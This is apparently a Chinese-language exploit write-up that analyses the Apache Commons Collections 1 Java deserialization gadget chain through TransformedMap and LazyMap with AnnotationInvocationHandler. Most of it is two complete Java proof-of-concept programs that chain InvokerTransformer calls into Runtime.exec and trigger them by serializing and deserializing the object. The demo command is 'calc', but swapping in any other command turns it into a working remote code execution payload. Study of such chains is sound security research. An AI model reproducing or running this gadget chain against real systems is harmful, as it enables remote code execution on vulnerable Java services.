Apache Commons Collections 1
利用链分析
InvokerTransformer
对其恶意调用时用法为,如图,那么我们可以寻找其调用transform方法再何处,
其实不难发现,该包类有很多处都调用了该方法,(这里有两条链,先分析国内这条链)
国内
其中在这checkSetValue中
在这个类TransformedMap
中可以发现调用了transform 可以看一下其构造方法中 参数是否可控。
/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
可以发现这个类 其实是对 map 类的 一个封装类似于,checkSetValue调用的就是valueTransformer的transform
他的构造方法实际是可控的,继续往上找,发现只有一处调用了checkSetValue,就是`TransformedMap
的父类 AbstractInputCheckedMapDecorator
(抽象类)
而 MapEntry 我们知道在循环遍历的时候会触发,所以只要对map进行遍历并设置值也就会触发checkSetValue这个方法。就可以关注到Sun包下面的AnnotationInvocationHandler
这个类,在readObject 中 循环遍历的map
而这里有个难点就是,memberValue.setValue(value)这个方法中的value,是new 了一个出来的代理类,所以就很难控制,于是又可以想到之前涉及到的一个类
ConstantTransformer
,该类的transformer方法,可以直接返回固定对象,ChainedTransformer
又可以循环调用transformer。
而进入到需要两个条件
AnnotationInvocationHandler
的type需要一个value 才能进入。- map中的key值也需要这个value的值。
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;、
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {
// 国内
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","");
Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
serialize(o);
unserialize("ser.bin");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}
}
国外
与国内的思路一致,不同的是利用的map不一样。
而符合这个的是在AnnotationInvocationHandler
的invoke方法中,我们知道invoke是动态代理时会自动触发invoke方法,刚好这个memberValues也是可控制的
所以,我们可以在AnnotationInvocationHandler
这个类套上一层代理类,于是代码走到entrySet()时,就会触发invoke方法。成功执行会序代码
完整POC
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {
// 国外
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
Map<?,?> decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);
serialize(o1);
unserialize("ser.bin");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}